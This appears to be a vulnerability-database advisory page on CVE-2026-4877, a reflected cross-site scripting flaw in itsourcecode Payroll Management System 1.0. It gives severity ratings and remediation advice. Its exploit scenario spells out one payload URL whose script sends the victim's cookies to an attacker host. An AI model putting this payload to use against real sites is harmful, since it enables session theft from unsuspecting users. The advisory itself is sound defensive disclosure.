Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | This vulnerability represents a moderate real-world risk despite the CVSS v4.0 score of 5.3. Multiple exploitation signals confirm active concern: publicly available exploit code exists (POC status confirmed), CISA SSVC framework rates this as exploitable with partial automatable impact, and the attack vector is network-based requiring no authentication (PR:N in CVSS vector) with low user interaction complexity (UI:P). The integrity impact is marked as low (VI:L) rather than high, which explains the moderate CVSS rating. The absence of KEV (CISA Known Exploited Vulnerabilities) listing does not indicate low risk-rather, public POC availability combined with simple exploitation mechanics (URL manipulation) and the widespread deployment of payroll systems in business environments elevates practical risk. SSVC's 'partial technical impact' reflects that XSS can compromise user sessions, inject credential theft payloads, or deface application content, all critical in financial systems. Automatable:no indicates that sophisticated exploitation logic is required, but the core attack (crafting a malicious URL) is trivial. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL containing JavaScript payload in the 'page' parameter (e.g., /index.php?page=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and sends it to a payroll system user via phishing email or social engineering. When the victim clicks the link and is already authenticated to the payroll application, the injected script executes in their browser with the privileges of their session, allowing the attacker to steal session tokens, redirect the user to a fake login page to harvest credentials, or modify payroll records. Because no authentication is required for the vulnerability itself (only for accessing sensitive payroll data afterward), and the attack vector is purely network-based with minimal interaction complexity (a single click), exploitation is feasible at scale. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 26, 2026
Reflected cross-site scripting (XSS) in itsourcecode Payroll Management System version 1.0 allows remote unauthenticated attackers to inject malicious scripts via manipulation of the 'page' parameter in /index.php. The vulnerability has a CVSS v4.0 score of 5.3 with network accessibility and low integrity impact; publicly available exploit code exists, and CISA SSVC assessment confirms the flaw is exploitable and partially automatable, making it suitable for active compromise of application integrity and user sessions.
RemediationAI
Upgrade itsourcecode Payroll Management System to the latest patched version released by the vendor; patch availability and specific version numbers should be confirmed via https://itsourcecode.com/ and https://nvd.nist.gov/vuln/detail/CVE-2026-4877. Until patching is completed, implement immediate compensating controls: enforce strict input validation on the 'page' parameter by using a whitelist of allowed values, apply output encoding using htmlspecialchars() or equivalent on all reflected parameters before rendering in HTML context, and deploy a Web Application Firewall (WAF) configured to detect and block reflected XSS payloads. Additionally, restrict application access to trusted internal networks only, implement Content Security Policy (CSP) headers to prevent inline script execution, and enable HTTP-only and Secure flags on session cookies to mitigate session hijacking.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a reflected cross-site scripting (CWE-79) flaw in a PHP-based web application. The root cause is insufficient input validation and output encoding on the 'page' parameter within /index.php. The itsourcecode Payroll Management System (CPE:cpe:2.3:a:itsourcecode:payroll_management_system) processes user-supplied input without proper sanitization, allowing attackers to inject arbitrary HTML and JavaScript that executes in the victim's browser context. PHP applications are particularly susceptible to XSS when query parameters are reflected directly into HTML without encoding functions such as htmlspecialchars() or htmlentities().
Know when Payroll Management System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionCVE.org
A security flaw has been discovered in itsourcecode Payroll Management System up to 1.0. This affects an unknown function of the file /index.php. Performing a manipulation of the argument page results in cross site scripting. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks.
Executive ViewAI
Organizations using itsourcecode Payroll Management System should be aware of moderate risk from CVE-2026-4877, a cross-site scripting vulnerability rated CVSS 5.3. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Proof-of-concept code is publicly available. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Payroll Management System
View allSourcecodester Payroll Management System v1.0 is vulnerable to File Upload. Rated critical severity (CVSS 9.8), this vul
Payroll Management System v1.0 was discovered to contain a SQL injection vulnerability via the username parameter. Rated
A vulnerability, which was classified as critical, has been found in itsourcecode Payroll Management System 1.0.php?acti
A vulnerability classified as critical was found in itsourcecode Payroll Management System 1.0. Rated medium severity (C
Itsourcecode Payroll Management System 1.0 is vulnerable to SQL Injection in payroll_items.php via the ID parameter. Rat
SQL injection in Campcodes Payroll Management System 1.0 allows remote attackers to read or modify database contents via
SQL injection in Campcodes Payroll Management System 1.0 allows remote attackers to inject malicious SQL commands throug
SQL injection in Campcodes Payroll Management System 1.0 allows remote unauthenticated attackers to execute arbitrary SQ
SQL injection in Campcodes Payroll Management System 1.0 allows remote attackers to manipulate database queries via the
Unauthenticated SQL injection in Campcodes Payroll Management System 1.0 allows remote attackers to manipulate backend d
A weakness has been identified in Campcodes Payroll Management System 1.0. Rated medium severity (CVSS 6.9), this vulner
SQL injection in code-projects Payroll Management System 1.0 via the ID parameter in /ajax.php?action=save_department al
EUVD-2026-16195
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB